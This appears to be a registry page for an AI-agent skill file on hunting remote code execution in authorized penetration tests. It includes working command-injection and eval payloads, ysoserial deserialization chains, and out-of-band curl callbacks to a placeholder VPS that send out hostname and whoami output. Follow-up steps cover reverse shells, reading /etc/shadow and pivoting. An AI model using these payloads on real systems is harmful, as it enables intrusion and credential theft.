rce
Skill1 starsChanged 12 days agoMITView on GitHub
Hunt for Remote Code Execution: OS command injection, eval/code injection in dynamic languages (PHP, Python, Node, Ruby), and deserialization-driven RCE gadget chains. Use when user input reaches a shell call, an interpreter eval, a dynamic function call, or an unsafe deserializer. Keywords: rce, command injection, os command injection, eval injection, code injection, shell metacharacters, blind command injection, ysoserial, gadget chain, unsafe deserialization to RCE, SSTI-to-RCE. Do NOT use for template-only injection with no further code-exec primitive — use ssti first, then return here once a code-exec sink is found. Do NOT use for pure deserialization without demonstrated code execution — use deserialization for that narrower scope, this skill for when the chain is pushed through to actual command/code execution.
- Sends data out
4 other projects use a version of this.
Adopted by
Most recently taken up by
- TaiMaBenJi/taima-skillstheir own version, first seen Oct 11, 2026
- zyphr-labs/bounty-harnesstheir own version, first seen Aug 26, 2026
- conjure-3301/skillstheir own version, first seen Aug 17, 2026
- sunilgentyala/OmniRedtheir own version, first seen Jun 4, 2026
Other versions4 projects use a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 4
- sunilgentyala/OmniRed★ 5same name
- TaiMaBenJi/taima-skills★ 1same name
- zyphr-labs/bounty-harness★ 1same name
- conjure-3301/skills★ 0same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository124 other files it gives its agents.
- CLAUDE.mdCLAUDE.md
- ai-agent-reconSkill
- ai-supply-chainSkill
- exfiltration-via-aiSkill
- indirect-injectionSkill
- llm-fuzzingSkill
- prompt-injectionSkill
- rag-poisoningSkill
- tool-abuseSkill
- chain-analysisSkill
- chain-auth-to-takeoverSkill
- chain-customSkill
- chain-graph-walkSkill
- chain-idor-to-mass-dataSkill
- chain-info-to-exploitSkill
- chain-multi-appSkill
- chain-ssrf-to-cloudSkill
- chain-web-to-rceSkill
- chain-xss-to-account-takeoverSkill
- email-securitySkill
- engagement-flowSkill
- finding-disciplineSkill
- http-headers-securitySkill
- oob-interactionsSkill
- opsec-disciplineSkill
- research-firstSkill
- scope-disciplineSkill
- scope-importSkill
- session-contextSkill
- 2fa-bypassSkill
- api-abuseSkill
- auth-bypassSkill
- broken-access-controlSkill
- business-logicSkill
- cache-poisoningSkill
- clickjackingSkill
- corsSkill
- credential-testingSkill
- crlf-injectionSkill
- cryptographic-oracleSkill
- csrfSkill
- css-injectionSkill
- data-exfiltration-testSkill
- deserializationSkill
- email-injectionSkill
- file-uploadSkill
- fuzzingSkill
- graphqlSkill
- grpcSkill
- host-headerSkill
- http-smugglingSkill
- idorSkill
- info-disclosureSkill
- jwtSkill
- lateral-movementSkill
- lfi-rfiSkill
- mass-assignmentSkill
- oauthSkill
- open-redirectSkill
- parameter-pollutionSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
2 rules. 0 are common, 2 are distinctive, and 0 are very specific to this project.
0
Common
Most of the 4 edited versions we read keep these.
2
Distinctive
This author's own choices. Worth a look.
0
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 72
Check your listener's access log for the inbound hit with hostname/whoami data — this is solid proof even when nothing comes back in the …
- Distinctive: line 216
Before declaring this finding complete, probe these escalation paths:
“Common” is measured: kept by at least 6 in 10 of the 4 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Signals
- Params that plausibly shell out: filenames passed to image converters (ImageMagick,
ffmpeg), "ping this host" diagnostic tools, PDF generators, export/report filename fields,
anything wrapping a system binary (
zip,unzip,convert,curl,git). - Language-specific eval sinks found in source/decompiled code: PHP
eval(),assert(),preg_replace(/e),create_function(); Pythoneval(),exec(),pickle.loads(),yaml.load()(unsafe loader); Nodeeval(),vm.runInNewContext(),child_process.exec()with concatenated strings; Rubyeval,instance_eval,Marshal.load. - Deserialization endpoints accepting serialized blobs: Java (
rO0ABmagic bytes / base64rO0...), PHP (O:8:"ClassName"), Python pickle (\x80\x04opcode header), .NET (AAEAAADbase64 /BinaryFormatter,ViewStatewithout MAC validation). - Confirmed SSTI (ssti) in Jinja2/Twig/FreeMarker/Velocity — these commonly escalate straight to RCE via sandbox-escape payloads.
- Response timing anomalies on params that look like they might shell out (ping/traceroute tools, DNS lookup tools).
Prerequisites
- An identified sink candidate (param feeding a shell call, eval, or deserializer) from source review, error messages, or behavioral signals.
- An OOB listener (same as ssrf) for blind command injection confirmation.
- For deserialization RCE: knowledge of the server's language/framework and library versions
(from banners, error stack traces,
Server/X-Powered-Byheaders, dependency manifests) to pick the rightysoserialgadget chain.
Methodology
- OS command injection — baseline and metacharacter probe.
Confirm via output reflection (curl -s "https://target/ping?host=127.0.0.1" curl -s "https://target/ping?host=127.0.0.1;id" curl -s "https://target/ping?host=127.0.0.1|id" curl -s "https://target/ping?host=127.0.0.1\`id\`" curl -s "https://target/ping?host=127.0.0.1\$(id)" curl -s "https://target/ping?host=127.0.0.1%0aid" # newline injectionuid=...appears in response) first; if not reflected, go blind. - Blind command injection — time-based and OOB confirmation.
Check your listener's access log for the inbound hit with hostname/whoami data — this is solid proof even when nothing comes back in the HTTP response.time curl -s "https://target/ping?host=127.0.0.1;sleep 5" -o /dev/null # OOB exfil to your own listener — proves execution unambiguously curl -s "https://target/ping?host=127.0.0.1;curl http://YOUR_VPS/rce-confirm-\$(hostname)" curl -s "https://target/ping?host=\$(curl http://YOUR_VPS/rce-confirm-\$(whoami))" - Automate with commix once a candidate param is identified:
commix --url="https://target/ping?host=127.0.0.1" -p host --batch commix --url="https://target/ping" --data="host=127.0.0.1" -p host --level=3 - Eval/code injection (dynamic languages). Probe for interpreter-specific syntax rather
than shell metacharacters:
# PHP eval-style curl -s --data-urlencode 'calc=1+1' "https://target/calc" # baseline curl -s --data-urlencode 'calc=phpinfo();' "https://target/calc" curl -s --data-urlencode 'calc=system("id");' "https://target/calc" # Python eval/exec curl -s --data-urlencode "expr=__import__('os').popen('id').read()" "https://target/calc" # Node vm/eval curl -s --data-urlencode "expr=require('child_process').execSync('id').toString()" \ "https://target/calc" # YAML deserialization (unsafe loader) to RCE — Python PyYAML / Ruby Psych curl -s -X POST https://target/api/config -H "Content-Type: application/x-yaml" \ --data-binary '!!python/object/apply:os.system ["id"]' - Java deserialization RCE with ysoserial against a confirmed/suspected deserialization
sink (identify the sink first via the magic-byte signals above or an exception stack trace
mentioning
ObjectInputStream/readObject):
Watch your OOB listener for the chain-specific marker to know exactly which gadget chain is viable on the target classpath.# list available gadget chains for the target's likely library stack java -jar ysoserial.jar # no args -> prints usage + chain list # generate a payload for a blind OOB callback (safer first test than a reverse shell) java -jar ysoserial.jar CommonsCollections6 \ 'curl http://YOUR_VPS/ysoserial-confirm' -o payload.bin base64 -w0 payload.bin > payload.b64 curl -s -X POST https://target/api/upload \ -H "Content-Type: application/x-java-serialized-object" \ --data-binary @payload.bin # try several chains if the library/version is unknown — each is a distinct discrete test, # not noisy scanning, since each requires a crafted payload matching classpath gadgets: for chain in CommonsCollections5 CommonsCollections6 CommonsCollections7 Spring1 Spring2 Groovy1; do java -jar ysoserial.jar $chain "curl http://YOUR_VPS/confirm-$chain" -o "/tmp/$chain.bin" curl -s -X POST https://target/api/upload --data-binary @"/tmp/$chain.bin" \ -H "Content-Type: application/x-java-serialized-object" done - .NET ViewState / BinaryFormatter RCE (when
__VIEWSTATElacks MAC validation or the key is known/weak — e.g. a leakedmachineKey):ysoserial.net -g TypeConfuseDelegate -f BinaryFormatter \ -c "curl http://YOUR_VPS/confirm" -o raw -oe # with a known/leaked machineKey (ViewState MAC forgery) — only if that key material was # independently discovered (e.g. info-disclosure finding), never brute-forced out-of-scope ysoserial.net -g TypeConfuseDelegate -f BinaryFormatter -c "curl http://YOUR_VPS/confirm" \ --validationkey="LEAKED_KEY" --validationalg="SHA1" \ --generatorkey="LEAKED_GEN_KEY" --generatoralg="AES" --isdebug --islegacy --minify \ --apppath="/" --path="/vulnerable.aspx" - SSTI-to-RCE escalation — if ssti confirmed template execution, push to OS commands
using the engine-specific sandbox-escape primitives documented in that skill's payload list
(e.g. Jinja2
{{ cycler.__init__.__globals__.os.popen('id').read() }}). - Nuclei sweep for known RCE CVEs on fingerprinted software versions (treat purely as
triage — a template match on version string alone is Unproven per project rules until
the actual payload fires):
nuclei -l urls.txt -tags rce -severity critical,high -o nuclei_rce.txt
Tooling
commix— automated command injection detection/exploitation.ysoserial(Java) /ysoserial.net(.NET) — gadget-chain payload generators; always confirm the exact library+version on the classpath before picking a chain, or brute a small curated set via OOB markers as above.nuclei -tags rce— version-fingerprint-driven triage only, never the final proof.- Your own OOB listener (Interactsh/Burp Collaborator/VPS) — the single most reliable blind-RCE confirmation tool across every variant in this skill.
- Metasploit (
msfconsole -q -x "...; exit"per project rules) — once a reliable RCE vector is confirmed and the operator has approved moving to a shell/session, not before.
Root Causes
- Shelling out via string-concatenated commands (
os.system(f"ping {host}"),exec("convert " + filename)) instead of argument-array APIs that avoid a shell (subprocess.run([...], shell=False)). eval()/exec()/dynamic-function-construction on user input for "calculator"/"formula"/ "rule engine" features.- Deserializing untrusted data with a generic/polymorphic deserializer (Java
ObjectInputStream, .NETBinaryFormatter, PHPunserialize()on user input, Pythonpickle.loads()/unsafeyaml.load()) instead of a safe data-only format (JSON) or a deserializer restricted to an explicit allowlist of classes. - Missing/weak integrity protection on serialized blobs sent to the client and trusted on return (unsigned ViewState, unsigned PHP serialized cookies).
Validation Gate (minimum proof)
- Command/eval injection: command output reflected in the response, OR a verified OOB
callback (with hostname/whoami/unique token) received on your listener, OR a reproducible
timing delay matching an injected
sleepvalue across multiple trials. - Deserialization RCE: OOB callback received correlated to the specific gadget chain and payload sent; document which chain worked (this identifies the exact vulnerable library on the classpath).
- Capture the exact request (including the raw payload bytes/base64 for binary payloads) and the corresponding listener log entry with timestamp correlation.
Gotchas
- Minimum proof, not a shell. OOB callback execution (
curlto your listener) is sufficient proof of RCE. Escalating to a reverse shell or Metasploit session is an exploitation step that needs the explicit human gate per project rules ("Explotar una vulnerabilidad confirmada") — don't pop a shell just because you can. - Common N/A: command output appears but is actually the input being echoed back unexecuted (e.g., a WAF/validation layer stripped the injected part and the app is just reflecting the sanitized remainder) — diff carefully against a control payload with no metacharacters to confirm genuine execution vs. echo.
- Common N/A: a
ysoserialpayload sent but the target returns a generic deserialization exception without any OOB hit — the sink likely exists but the classpath lacks a gadget for that chain; this is Unproven for RCE (the deserialization sink itself may still be a distinct finding — see deserialization), not a confirmed RCE. - Overclaim trap: a detected outdated software version with a known public RCE CVE is not itself a finding without an actual fired payload — per project anti-fabrication rules, label "vulnerable version detected, exploit not yet attempted" as Inferred at most, never report impact as Demonstrated from version-matching alone.
- Overclaim trap: a
sleep()timing delay from command injection can be confused with a slow backend query — always pair with a zero-delay control request and, where possible, a second corroborating OOB-callback test before calling it Demonstrated. - Blind command injection often fails silently if output redirection isn't handled — try
appending
2>&1or redirecting to a reachable path before concluding a vector is dead.
Chain Anchors
Before declaring this finding complete, probe these escalation paths:
- Persistent access — Can you achieve persistent access (reverse shell, web shell) rather than one-shot command execution?
- Sensitive file read — Can you read /etc/shadow, database config files, or other credential material from the compromised host?
- Network pivot — Can you pivot to internal network services from the compromised host?
- Execution context — What user/service account does the RCE run as (www-data, root, a service account)? This bounds the blast radius.
- Privilege escalation — Can you escalate privileges from the RCE's execution context to root/admin on the host?
A finding without chain anchor results is INCOMPLETE. Record each anchor as tested/not-applicable/blocked with the reason.
Chains & Compositions
- SSTI → RCE (direct escalation — see ssti for the template-engine-specific sandbox escape payloads that feed into this skill's OS-command step).
- Deserialization → RCE (this skill is the "push it to execution" half of deserialization).
- SQLi (stacked queries,
xp_cmdshell,COPY TO PROGRAM) → RCE — see sqli chains. - LFI (log poisoning, PHP wrapper chains) → RCE — see lfi-rfi chains.
- Confirmed RCE is near-always critical severity and the natural handoff point to
chain-analysis/post-exploitation planning — flag immediately per the Gates humanos rule before taking any further action on the host.
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

